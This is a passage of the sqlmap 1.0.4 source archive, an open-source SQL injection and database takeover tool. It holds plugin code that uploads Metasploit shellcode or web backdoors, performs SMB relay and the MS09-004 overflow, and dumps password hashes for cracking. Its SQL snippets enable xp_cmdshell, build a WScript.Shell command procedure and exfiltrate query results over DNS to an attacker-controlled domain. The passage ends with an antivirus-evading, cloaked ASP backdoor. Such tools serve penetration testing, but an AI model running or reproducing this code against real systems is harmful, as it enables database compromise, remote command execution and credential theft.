break else: warnMsg = "invalid value, valid values are 1 and 2" logger.warn(warnMsg) if choice == 1: goUdf = True if goUdf: exitfunc = "thread" setupSuccess = True else: exitfunc = "process" self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") if not goUdf: setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc: debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, no need to privilege escalate" logger.debug(debugMsg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb): web = True if fallbackToWeb: infoMsg = "falling back to web backdoor to establish the tunnel" else: infoMsg = "going to use a web backdoor to establish the tunnel" logger.info(infoMsg) self.initEnv(web=web, forceInit=fallbackToWeb) if self.webBackdoorUrl: if not Backend.isOs(OS.WINDOWS) and conf.privEsc: # Unset --priv-esc if the back-end DBMS underlying operating # system is not Windows conf.privEsc = False warnMsg = "sqlmap does not implement any operating system " warnMsg += "user privilege escalation technique when the " warnMsg += "back-end DBMS underlying system is not Windows" logger.warn(warnMsg) if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if setupSuccess: if tunnel == 1: self.pwn(goUdf) elif tunnel == 2: self.icmpPwn() else: errMsg = "unable to prompt for an out-of-band session" raise SqlmapNotVulnerableException(errMsg) if not conf.cleanup: self.cleanup(web=web) def osSmb(self): self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" raise SqlmapUnsupportedDBMSException(errMsg) if not isStackingAvailable() and not conf.direct: if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" raise SqlmapUnsupportedDBMSException(errMsg) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "since stacked queries are not supported, " debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "attack via inference blind SQL injection" logger.debug(debugMsg) printWarn = True warnMsg = "it is unlikely that this attack will be successful " if Backend.isDbms(DBMS.MYSQL): warnMsg += "because by default MySQL on Windows runs as " warnMsg += "Local System which is not a real user, it does " warnMsg += "not send the NTLM session hash when connecting to " warnMsg += "a SMB service" elif Backend.isDbms(DBMS.PGSQL): warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "as postgres user which is a real user of the " warnMsg += "system, but not within the Administrators group" elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion() warnMsg += "runs as Network Service which is not a real user, " warnMsg += "it does not send the NTLM session hash when " warnMsg += "connecting to a SMB service" else: printWarn = False if printWarn: logger.warn(warnMsg) self.smb() def osBof(self): if not isStackingAvailable() and not conf.direct: return if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")): errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" raise SqlmapUnsupportedDBMSException(errMsg) infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion() infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg) msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " choice = readInput(msg, default="N") dos = choice and choice[0].lower() == "y" if dos: self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof() def uncPathRequest(self): errMsg = "'uncPathRequest' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def _regInit(self): if not isStackingAvailable() and not conf.direct: return self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows" raise SqlmapUnsupportedDBMSException(errMsg) self.initEnv() self.getRemoteTempPath() def regRead(self): self._regInit() if not conf.regKey: default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" msg = "which registry key do you want to read? [%s] " % default regKey = readInput(msg, default=default) else: regKey = conf.regKey if not conf.regVal: default = "ProductName" msg = "which registry key value do you want to read? [%s] " % default regVal = readInput(msg, default=default) else: regVal = conf.regVal infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal) logger.info(infoMsg) return self.readRegKey(regKey, regVal, True) def regAdd(self): self._regInit() errMsg = "missing mandatory option" if not conf.regKey: msg = "which registry key do you want to write? " regKey = readInput(msg) if not regKey: raise SqlmapMissingMandatoryOptionException(errMsg) else: regKey = conf.regKey if not conf.regVal: msg = "which registry key value do you want to write? " regVal = readInput(msg) if not regVal: raise SqlmapMissingMandatoryOptionException(errMsg) else: regVal = conf.regVal if not conf.regData: msg = "which registry key value data do you want to write? " regData = readInput(msg) if not regData: raise SqlmapMissingMandatoryOptionException(errMsg) else: regData = conf.regData if not conf.regType: default = "REG_SZ" msg = "which registry key value data-type is it? " msg += "[%s] " % default regType = readInput(msg, default=default) else: regType = conf.regType infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal) infoMsg += "with data '%s'. " % regData infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." logger.info(infoMsg) self.addRegKey(regKey, regVal, regType, regData) def regDel(self): self._regInit() errMsg = "missing mandatory option" if not conf.regKey: msg = "which registry key do you want to delete? " regKey = readInput(msg) if not regKey: raise SqlmapMissingMandatoryOptionException(errMsg) else: regKey = conf.regKey if not conf.regVal: msg = "which registry key value do you want to delete? " regVal = readInput(msg) if not regVal: raise SqlmapMissingMandatoryOptionException(errMsg) else: regVal = conf.regVal message = "are you sure that you want to delete the Windows " message += "registry path '%s\%s? [y/N] " % (regKey, regVal) output = readInput(message, default="N") if output and output[0] not in ("Y", "y"): return infoMsg = "deleting Windows registry path '%s\%s'. " % (regKey, regVal) infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." logger.info(infoMsg) self.delRegKey(regKey, regVal) sqlmap-1.0.4/plugins/generic/users.py000066400000000000000000000621131270044205500176230ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import filterPairValues from lib.core.common import getLimitRange from lib.core.common import getUnicode from lib.core.common import isAdminFromPrivileges from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parsePasswordHash from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import unArrayizeValue from lib.core.convert import hexencode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import MYSQL_PRIVS from lib.core.dicts import PGSQL_PRIVS from lib.core.dicts import FIREBIRD_PRIVS from lib.core.dicts import DB2_PRIVS from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.threads import getCurrentThreadData from lib.request import inject from lib.utils.hash import attackCachedUsersPasswords from lib.utils.hash import storeHashesToFile from lib.utils.pivotdumptable import pivotDumpTable class Users: """ This class defines users' enumeration functionalities for plugins. """ def __init__(self): kb.data.currentUser = "" kb.data.isDba = None kb.data.cachedUsers = [] kb.data.cachedUsersPasswords = {} kb.data.cachedUsersPrivileges = {} kb.data.cachedUsersRoles = {} def getCurrentUser(self): infoMsg = "fetching current user" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].current_user.query if not kb.data.currentUser: kb.data.currentUser = unArrayizeValue(inject.getValue(query)) return kb.data.currentUser def isDba(self, user=None): infoMsg = "testing if current user is DBA" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL): self.getCurrentUser() query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None) elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None: query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user else: query = queries[Backend.getIdentifiedDbms()].is_dba.query query = agent.forgeCaseStatement(query) kb.data.isDba = inject.checkBooleanExpression(query) or False return kb.data.isDba def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].users condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008"))) condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if condition: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedUsers = [] for value in arrayizeValue(values): value = unArrayizeValue(value) if not isNoneValue(value): kb.data.cachedUsers.append(value) if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database users" logger.info(infoMsg) if condition: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: return kb.data.cachedUsers elif not isNumPosStrValue(count): errMsg = "unable to retrieve the number of database users" raise SqlmapNoneDataException(errMsg) plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") elif condition: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index user = unArrayizeValue(inject.getValue(query, union=False, error=False)) if user: kb.data.cachedUsers.append(user) if not kb.data.cachedUsers: errMsg = "unable to retrieve the database users" logger.error(errMsg) return kb.data.cachedUsers def getPasswordHashes(self): infoMsg = "fetching database users password hashes" rootQuery = queries[Backend.getIdentifiedDbms()].passwords if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(",") if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = filter(None, users) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.inband.query2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) if Backend.isDbms(DBMS.SYBASE): randStr = randomStr() getCurrentThreadData().disableStdOut = True retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False) if retVal: for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: values = inject.getValue(query, blind=False, time=False) for user, password in filterPairValues(values): if not user or user == " ": continue password = parsePasswordHash(password) if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct: if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True randStr = randomStr() query = rootQuery.inband.query retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True) if retVal: for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): password = "0x%s" % hexencode(password).upper() if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: retrievedUsers = set() for user in users: user = unArrayizeValue(user) if user in retrievedUsers: continue infoMsg = "fetching number of password hashes " infoMsg += "for user '%s'" % user logger.info(infoMsg) if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching password hashes for user '%s'" % user logger.info(infoMsg) passwords = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MSSQL): if Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.query2 % (user, index, user) else: query = rootQuery.blind.query % (user, index, user) else: query = rootQuery.blind.query % (user, index) password = unArrayizeValue(inject.getValue(query, union=False, error=False)) password = parsePasswordHash(password) passwords.append(password) if passwords: kb.data.cachedUsersPasswords[user] = passwords else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " errMsg += "database users (probably because the session " errMsg += "user has no read privileges over the relevant " errMsg += "system database table)" logger.error(errMsg) else: for user in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user])) storeHashesToFile(kb.data.cachedUsersPasswords) message = "do you want to perform a dictionary-based attack " message += "against retrieved password hashes? [Y/n/q]" test = readInput(message, default="Y") if test[0] in ("n", "N"): pass elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: attackCachedUsersPasswords() return kb.data.cachedUsersPasswords def getPrivileges(self, query2=False): infoMsg = "fetching database users privileges" rootQuery = queries[Backend.getIdentifiedDbms()].privileges if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(",") if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = filter(None, users) # Set containing the list of DBMS administrators areAdmins = set() if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) else: query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) values = inject.getValue(query, blind=False, time=False) if not values and Backend.isDbms(DBMS.ORACLE) and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) if not isNoneValue(values): for value in values: user = None privileges = set() for count in xrange(0, len(value)): # The first column is always the username if count == 0: user = value[count] # The other columns are the privileges else: privilege = value[count] if privilege is None: continue # In PostgreSQL we get 1 if the privilege is # True, 0 otherwise if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit(): if int(privilege) == 1: privileges.add(PGSQL_PRIVS[count]) # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: if privilege.upper() == "Y": privileges.add(MYSQL_PRIVS[count]) # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): privs = privilege.split(",") privilege = privs[0] if len(privs) > 1: privs = privs[1] privs = list(privs.strip()) i = 1 for priv in privs: if priv.upper() in ("Y", "G"): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv i += 1 privileges.add(privilege) if user in kb.data.cachedUsersPrivileges: kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user])) else: kb.data.cachedUsersPrivileges[user] = list(privileges) if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct: if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: conditionChar = "LIKE" else: conditionChar = "=" if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] retrievedUsers = set() for user in users: outuser = user if user in retrievedUsers: continue if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: user = "%%%s%%" % user infoMsg = "fetching number of privileges " infoMsg += "for user '%s'" % outuser logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 % user elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query = rootQuery.blind.count % (conditionChar, user) elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "privileges for user '%s'" % outuser logger.warn(warnMsg) continue infoMsg = "fetching privileges for user '%s'" % outuser logger.info(infoMsg) privileges = set() plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 % (user, index) elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query = rootQuery.blind.query % (conditionChar, user, index) elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.blind.query2 % (user, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, user) else: query = rootQuery.blind.query % (user, index) privilege = unArrayizeValue(inject.getValue(query, union=False, error=False)) if privilege is None: continue # In PostgreSQL we get 1 if the privilege is True, # 0 otherwise if Backend.isDbms(DBMS.PGSQL) and ", " in privilege: privilege = privilege.replace(", ", ",") privs = privilege.split(",") i = 1 for priv in privs: if priv.isdigit() and int(priv) == 1: for position, pgsqlPriv in PGSQL_PRIVS.items(): if position == i: privileges.add(pgsqlPriv) i += 1 # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: privilege = privilege.replace(", ", ",") privs = privilege.split(",") i = 1 for priv in privs: if priv.upper() == "Y": for position, mysqlPriv in MYSQL_PRIVS.items(): if position == i: privileges.add(mysqlPriv) i += 1 # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): privs = privilege.split(",") privilege = privs[0] privs = privs[1] privs = list(privs.strip()) i = 1 for priv in privs: if priv.upper() in ("Y", "G"): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv i += 1 privileges.add(privilege) # In MySQL < 5.0 we break the cycle after the first # time we get the user's privileges otherwise we # duplicate the same query if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: break if privileges: kb.data.cachedUsersPrivileges[user] = list(privileges) else: warnMsg = "unable to retrieve the privileges " warnMsg += "for user '%s'" % outuser logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPrivileges: errMsg = "unable to retrieve the privileges " errMsg += "for the database users" raise SqlmapNoneDataException(errMsg) for user, privileges in kb.data.cachedUsersPrivileges.items(): if isAdminFromPrivileges(privileges): areAdmins.add(user) return (kb.data.cachedUsersPrivileges, areAdmins) def getRoles(self, query2=False): warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms() warnMsg += "exist. sqlmap will enumerate privileges instead" logger.warn(warnMsg) return self.getPrivileges(query2) sqlmap-1.0.4/procs/000077500000000000000000000000001270044205500141365ustar00rootroot00000000000000sqlmap-1.0.4/procs/README.txt000066400000000000000000000002731270044205500156360ustar00rootroot00000000000000Files in this folder represent SQL snippets used by sqlmap on the target system. They are licensed under the terms of the GNU Lesser General Public License where not specified otherwise. sqlmap-1.0.4/procs/mssqlserver/000077500000000000000000000000001270044205500165245ustar00rootroot00000000000000sqlmap-1.0.4/procs/mssqlserver/activate_sp_oacreate.sql000066400000000000000000000002431270044205500234110ustar00rootroot00000000000000EXEC master..sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'ole automation procedures',1; RECONFIGURE WITH OVERRIDE sqlmap-1.0.4/procs/mssqlserver/configure_openrowset.sql000066400000000000000000000003661270044205500235200ustar00rootroot00000000000000EXEC master..sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0; RECONFIGURE WITH OVERRIDE sqlmap-1.0.4/procs/mssqlserver/configure_xp_cmdshell.sql000066400000000000000000000003441270044205500236110ustar00rootroot00000000000000EXEC master..sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',%ENABLE%; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options',0; RECONFIGURE WITH OVERRIDE sqlmap-1.0.4/procs/mssqlserver/create_new_xp_cmdshell.sql000066400000000000000000000004151270044205500237430ustar00rootroot00000000000000DECLARE @%RANDSTR% nvarchar(999); set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID'; EXEC master..sp_executesql @%RANDSTR% sqlmap-1.0.4/procs/mssqlserver/disable_xp_cmdshell_2000.sql000066400000000000000000000000571270044205500236750ustar00rootroot00000000000000EXEC master..sp_dropextendedproc 'xp_cmdshell' sqlmap-1.0.4/procs/mssqlserver/dns_request.sql000066400000000000000000000003051270044205500215770ustar00rootroot00000000000000DECLARE @host varchar(1024); SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%'; EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"') # or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"') sqlmap-1.0.4/procs/mssqlserver/enable_xp_cmdshell_2000.sql000066400000000000000000000001061270044205500235130ustar00rootroot00000000000000EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll' sqlmap-1.0.4/procs/mssqlserver/run_statement_as_user.sql000066400000000000000000000005151270044205500236570ustar00rootroot00000000000000SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','SET FMTONLY OFF %STATEMENT%') # SELECT * FROM OPENROWSET('SQLNCLI', 'server=(local);trusted_connection=yes','SET FMTONLY OFF SELECT 1;%STATEMENT%') # SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','SET FMTONLY OFF %STATEMENT%') sqlmap-1.0.4/procs/mysql/000077500000000000000000000000001270044205500153035ustar00rootroot00000000000000sqlmap-1.0.4/procs/mysql/dns_request.sql000066400000000000000000000001251270044205500203560ustar00rootroot00000000000000SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%RANDSTR1%')) sqlmap-1.0.4/procs/mysql/write_file_limit.sql000066400000000000000000000001101270044205500213430ustar00rootroot00000000000000LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- sqlmap-1.0.4/procs/oracle/000077500000000000000000000000001270044205500154035ustar00rootroot00000000000000sqlmap-1.0.4/procs/oracle/dns_request.sql000066400000000000000000000002671270044205500204650ustar00rootroot00000000000000SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL # or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL sqlmap-1.0.4/procs/postgresql/000077500000000000000000000000001270044205500163415ustar00rootroot00000000000000sqlmap-1.0.4/procs/postgresql/dns_request.sql000066400000000000000000000010301270044205500214100ustar00rootroot00000000000000DROP TABLE IF EXISTS %RANDSTR1%; # https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if "CREATE LANGUAGE plpgsql" is required CREATE TABLE %RANDSTR1%(%RANDSTR2% text); CREATE OR REPLACE FUNCTION %RANDSTR3%() RETURNS VOID AS $$ DECLARE %RANDSTR4% TEXT; DECLARE %RANDSTR5% TEXT; BEGIN SELECT INTO %RANDSTR5% (%QUERY%); %RANDSTR4% := E'COPY %RANDSTR1%(%RANDSTR2%) FROM E\'\\\\\\\\%PREFIX%.'||%RANDSTR5%||E'.%SUFFIX%.%DOMAIN%\\\\%RANDSTR6%\''; EXECUTE %RANDSTR4%; END; $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT %RANDSTR3%();sqlmap-1.0.4/shell/000077500000000000000000000000001270044205500141175ustar00rootroot00000000000000sqlmap-1.0.4/shell/README.txt000066400000000000000000000012011270044205500156070ustar00rootroot00000000000000Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility. To prepare the original scripts to the cloaked form use this command: find backdoor.* stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \; To get back them into the original form use this: find backdoor.*_ stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \; sqlmap-1.0.4/shell/backdoor.asp_000066400000000000000000000003601270044205500165460ustar00rootroot00000000000000œ…ŽË1ÃOo:÷þŠ‘¥+ÍÆý~lv-\SÒkÙ>é}©UÉ´¤5“Dwþa›†×}±óîF ;KEè šÁÁzKP'çýÄÊÍ©,Zïu¦;–ÑøX’ã¿+QŠ ­@¹ë¦:ýÿ¢ÎÚ¦D°Vèð Þ~©1µxrAØá·`ÝO†a”m¹‡7ñÄ0Nk0Øn€¯Ä+›‰(¬À+²¸¼ÊÄ VÕƒºÏÓÕ 